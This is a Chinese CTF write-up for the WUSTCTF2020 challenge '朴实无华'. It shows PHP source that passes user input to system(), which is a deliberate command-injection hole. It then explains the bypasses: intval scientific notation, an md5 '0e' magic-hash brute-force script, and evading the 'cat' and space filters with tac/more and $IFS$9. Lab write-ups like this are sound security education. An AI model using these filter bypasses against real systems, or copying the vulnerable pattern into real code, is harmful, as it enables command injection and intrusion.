0
点赞
收藏
分享

微信扫一扫

[WUSTCTF2020]朴实无华【bypass合集】


<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);




//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}


//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

Level1:

我们本地测试发现:

[WUSTCTF2020]朴实无华【bypass合集】_有道

[WUSTCTF2020]朴实无华【bypass合集】_html_02

那么Level我们可以构造

num='1e5'

但测试发现不正确,判断可能是num传到后台变成了字符串,再测试一下,发现果真如此:

[WUSTCTF2020]朴实无华【bypass合集】_字符串_03

[WUSTCTF2020]朴实无华【bypass合集】_字符串_04

[WUSTCTF2020]朴实无华【bypass合集】_有道_05

所以直接:

num:1e5

Level2:

我们知道

0e7883219==0e3742920

但0e之后必须都是数字才可以:

[WUSTCTF2020]朴实无华【bypass合集】_有道_06

[WUSTCTF2020]朴实无华【bypass合集】_html_07

所以可以写脚本爆破

import hashlib






for i in range(0,10**41):
    i='0e'+str(i)
    md5=hashlib.md5(i.encode()).hexdigest()
    print("md5({})={}".format(i,md5))
    if md5[:2]=='0e' and md5[2:].isdigit():
        print('md5:{} '.format(i))
        break

得到

0e215962017

Level3:

过滤了cat可以用tar或者more

过滤了空格可以用$IFS$9,至于为啥看这篇[1]

References

[1] 看这篇: https://www.freebuf.com/articles/web/137923.html

举报

相关推荐

0 条评论